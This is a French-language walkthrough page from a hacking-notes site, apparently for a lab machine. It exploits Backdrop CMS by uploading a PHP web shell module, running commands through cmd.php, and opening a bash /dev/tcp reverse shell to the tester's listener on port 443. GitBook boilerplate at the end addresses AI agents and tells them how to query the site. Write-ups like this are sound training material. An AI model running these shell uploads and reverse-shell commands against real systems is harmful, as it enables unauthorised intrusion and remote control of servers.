> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/backdrop-cms-exploitation.md).

# Backdrop

## **Exploitation RCE de Backdrop CMS**

Utilisez les identifiants découverts pour vous connecter au CMS.

<figure><img src="/files/d840941ee1702ab4984022003eaa916056e512b4" alt=""><figcaption></figcaption></figure>

**Recherche de vulnérabilités**

Utilisez **searchsploit** pour identifier une vulnérabilité RCE :

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/68f97f24e00ae12c18db0dc4768d845d0f06875f" alt=""><figcaption></figcaption></figure>

Nous exécutons l'exploit :

```bash
python3 52021.py http://10.10.11.58
```

Cela génère un fichier ZIP contenant un shell PHP.

<figure><img src="/files/5effc2fb566a3e0670c41eade97178f33ead591f" alt=""><figcaption></figcaption></figure>

Compressez le shell en **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/c2b875d9e94471c5b80d4beb09dec66967ba012a" alt=""><figcaption></figcaption></figure>

Téléversez-le via **admin / installer / manual**.

<figure><img src="/files/d77979a23e4c2dc688288a1708d87a58e742ebbf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b8ff756041518a7b63296accac3cd5d68e9ac33e" alt=""><figcaption></figcaption></figure>

**Exécution de commandes**

Le **modules/cmd/** le dossier contient **cmd.php**.

<figure><img src="/files/b775fe81fa86396bccee944db8a7a72b7f01ce62" alt=""><figcaption></figcaption></figure>

Cela permet l'exécution de commandes :

```bash
ifconfig 
```

<figure><img src="/files/06037a2a4e6dc3c84be577c6e5dfd88e43656afa" alt=""><figcaption></figcaption></figure>

### **Shell inversé de Backdrop CMS**

Ouvrez un écouteur sur le port 443 :

```bash
nc -nlvp 443 
```

Injectez une charge utile :

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/21a24d64acf735a634ddacf511c2bf15c0d823e2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/backdrop-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
